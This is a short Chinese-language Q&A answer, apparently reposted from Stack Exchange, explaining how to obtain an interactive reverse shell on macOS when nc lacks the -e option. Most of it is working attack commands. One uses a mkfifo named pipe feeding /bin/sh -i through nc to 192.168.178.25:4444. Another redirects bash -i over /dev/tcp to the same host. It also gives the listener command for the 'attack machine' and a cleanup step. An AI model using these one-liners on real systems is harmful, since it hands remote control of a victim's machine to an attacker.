OSX环境下基于命名管道实现bash交互式反弹Shell咨询
macOS 无bash -e参数的交互式反弹Shell解决方案
- 你之前的命令失败核心有两个原因:一是未提前创建命名管道,二是输入输出的重定向逻辑没有形成完整交互回路。
方案1:命名管道实现(兼容自带传统nc版本)
执行步骤:
- 首先创建命名管道
mkfifo fifobash
- 执行反弹命令
cat fifobash | /bin/sh -i 2>&1 | nc 192.168.178.25 4444 > fifobash
逻辑说明:
从fifo管道读取内容传给交互式shell作为输入,shell的标准输出、错误输出全部转发给nc发送到攻击机,nc从攻击机接收到的命令再写入fifo管道,形成完整的交互链路。
方案2:/dev/tcp实现(无需nc依赖)
如果目标macOS的bash支持/dev/tcp特性(绝大多数版本默认支持),可以不用nc和命名管道,直接执行以下命令即可:
bash -i >& /dev/tcp/192.168.178.25/4444 0>&1
逻辑说明:
直接将交互式bash的标准输入、输出、错误输出全部重定向到指向攻击机的TCP套接字,全程不依赖-e参数,也不需要额外安装工具。
注意事项:
- 执行反弹命令前,攻击机需要先开启端口监听:
nc -lvnp 4444 - 确认攻击机IP可被目标macOS访问,且对应端口未被防火墙拦截
- 执行完测试后记得删除创建的fifo文件:
rm fifobash
内容的提问来源于stack exchange,提问作者pace
相关产品推荐
相关产品推荐

